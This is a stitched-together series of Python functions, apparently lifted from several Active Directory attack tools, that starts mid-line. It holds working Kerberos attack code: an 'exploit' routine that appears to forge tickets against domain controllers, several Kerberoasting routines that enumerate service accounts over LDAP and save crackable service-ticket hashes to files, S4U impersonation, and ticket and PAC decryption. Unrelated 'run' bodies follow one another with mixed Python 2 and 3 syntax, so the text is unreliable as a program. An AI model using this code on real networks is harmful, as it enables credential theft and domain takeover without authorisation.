POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) dce.disconnect() forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() logging.info("Forest SID: %s"% forestSid) return forestSid def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers def getUserSID(self): stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain) domainId = resp['DomainId'] resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId) domainHandle = resp['DomainHandle'] resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,)) # Let's pick the relative ID rid = resp['RelativeIds']['Element'][0]['Data'] logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid)) return domainId, rid def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception, e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break
def run(self): if self.__doKerberos: self.__target = self.getMachineName() else: if self.__kdcHost is not None: self.__target = self.__kdcHost else: self.__target = self.__domain # Connect to LDAP ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) # Building the following filter: # (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) # (servicePrincipalName=*) and0 = ldapasn1.Filter() and0['present'] = ldapasn1.Present('servicePrincipalName') # (UserAccountControl:1.2.840.113556.1.4.803:=512) and1 = ldapasn1.Filter() and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803') and1['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl') and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_NORMAL_ACCOUNT) and1['extensibleMatch']['dnAttributes'] = False # !(UserAccountControl:1.2.840.113556.1.4.803:=2) and2 = ldapasn1.Not() and2['notFilter'] = ldapasn1.Filter() and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and2['notFilter']['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803') and2['notFilter']['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl') and2['notFilter']['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE) and2['notFilter']['extensibleMatch']['dnAttributes'] = False searchFilter = ldapasn1.Filter() searchFilter['and'] = ldapasn1.And() searchFilter['and'][0] = and0 searchFilter['and'][1] = and1 # searchFilter['and'][2] = and2 # Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags searchFilter['and'].setComponentByPosition(2,and2, verifyConstraints=False) resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl'], sizeLimit=9999) answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 for attribute in item['attributes']: if attribute['type'] == 'sAMAccountName': if str(attribute['vals'][0]).endswith('$') is False: # User Account sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif attribute['type'] == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif attribute['type'] == 'memberOf': memberOf = str(attribute['vals'][0]) elif attribute['type'] == 'pwdLastSet': pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet]) if len(answers)>0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet"]) print '\n\n' if self.__requestTGS is True: # Let's get unique user names an a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, fd) except Exception , e: logging.error(str(e)) if fd is not None: fd.close()
def run(self): tgt = None # Do we have a TGT cached? domain, _, TGT, _ = CCache.parseFile(self.__domain) # ToDo: Check this TGT belogns to the right principal if TGT is not None: tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[ 'sessionKey'] oldSessionKey = sessionKey if tgt is None: # Still no TGT userName = Principal( self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) # Editing below to pass hashes for decryption if self.__additional_ticket is not None: tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket( tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: tgs, cipher, oldSessionKey, sessionKey = self.doS4U( tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error( 'Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error( 'Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey)
def run(self): if self.__usersFile: self.request_users_file_TGSs() return if self.__doKerberos: target = self.getMachineName() else: if self.__kdcHost is not None and self.__targetDomain == self.__domain: target = self.__kdcHost else: target = self.__targetDomain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser else: searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=100000) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", "Delegation" ]) print('\n\n') if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = dict((vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.items(): sAMAccountName = user downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( principalName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS( tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) if fd is not None: fd.close() else: print("No entries found!")
def run(self): if self.__doKerberos: target = self.getMachineName() else: if self.__kdcHost is not None: target = self.__kdcHost else: target = self.__domain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser else: searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass elif type(e) == impacket.ldap.ldap.LDAPSearchError: raise else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon ]) except Exception as e: pass if len(answers) > 0: for user in answers: spn = user[0] username = user[1] domain = ".".join([ item.split('=', 1)[1] for item in user[2].split(',') if item.split('=', 1)[0] == 'DC' ]).lower() if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = {} for user in answers: domain = ".".join([ item.split('=', 1)[1] for item in user[2].split(',') if item.split('=', 1)[0] == 'DC' ]).lower() users["%s\\%s" % (domain, user[1])] = user[0] # Get a TGT for the current user try: TGT = self.getTGT() except KerberosError: logging.error( '%s Error getting TGS: synchronise your computer clock with the DC' % ("smb://%s" % self.__kdcHost).ljust(30)) return if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.items(): domain = user.split('\\', 1)[0] username = user.split('\\', 1)[1] try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) tgs = self.outputTGS(tgs, oldSessionKey, sessionKey, username, domain, SPN, fd) yield { 'domain': domain, 'username': username, 'spn': SPN, 'tgs': tgs, } except Exception as e: traceback.print_exc() if fd is not None: fd.close()
def run(self): # Do we have a TGT cached? tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) if options.target_domain: if options.via_domain: principal = 'krbtgt/%s@%s' % (options.target_domain.upper( ), options.via_domain.upper()) else: principal = 'krbtgt/%s@%s' % ( options.target_domain.upper(), self.__domain.upper()) else: principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) # For just decoding a TGS, override principal # principal = 'cifs/[email protected]' creds = ccache.getCredential(principal, False) creds.dump() if creds is not None: # For just decoding a TGS, use toTGS() TGT = creds.toTGT() tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[ 'sessionKey'] oldSessionKey = sessionKey logging.info('Using TGT from cache') else: logging.error("No valid credentials found in cache. ") return except: # No cache present logging.error("Cache file not valid or not found") return print # Print TGT # For just decoding a TGS, use TGS_REP() decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) cipherText = decodedTGT['ticket']['enc-part']['cipher'] newCipher = _enctype_table[int( decodedTGT['ticket']['enc-part']['etype'])] # hash / AES key for the TGT / TGS goes here self.__nthash = 'yourhashhere' if self.__nthash != '': key = Key(newCipher.enctype, self.__nthash.decode('hex')) try: # If is was plain U2U, this is the key plainText = newCipher.decrypt(key, 2, str(cipherText)) except: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, str(cipherText)) # Print PAC in human friendly form self.printPac(plainText, True) # Get TGS and print it logging.info('Getting ST for user') serverName = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) if options.target_domain: domain = options.target_domain else: domain = self.__domain print domain tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, clientrealm=self.__domain) self.__saveFileName = self.__user decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print decodedTGS.prettyPrint() # Get PAC cipherText = decodedTGS['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int( decodedTGS['ticket']['enc-part']['etype'])] # hash / AES key for the TGT / TGS goes here self.__nthash = 'yourhashhere' if self.__nthash != '': key = Key(newCipher.enctype, self.__nthash.decode('hex')) try: # If is was plain U2U, this is the key plainText = newCipher.decrypt(key, 2, str(cipherText)) except: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, str(cipherText)) # Print PAC in human friendly form self.printPac(plainText) # Save the ticket in case we want to use it later self.saveTicket(tgs, oldSessionKey)
def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" try: resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: users = dict((vals[1], vals[0]) for vals in answers) TGT = KerberosAttacks(self).getTGT_kerberoasting() for user, SPN in users.items(): try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS( tgs, oldSessionKey, sessionKey, user, SPN) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN, str(e))) else: self.logger.error("No entries found!")
def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = [ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ] resp = self.search(searchFilter, attributes, 0) if resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl ) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int( userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error( 'Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: if sAMAccountName not in dejavue: try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST. value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS( tgs, oldSessionKey, sessionKey, sAMAccountName, SPN) self.logger.highlight( u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}' .format(sAMAccountName, memberOf, pwdLastSet, lastLogon)) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') dejavue.append(sAMAccountName) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN, str(e))) return True else: self.logger.highlight("No entries found!") return self.logger.error("Error with the LDAP account used")
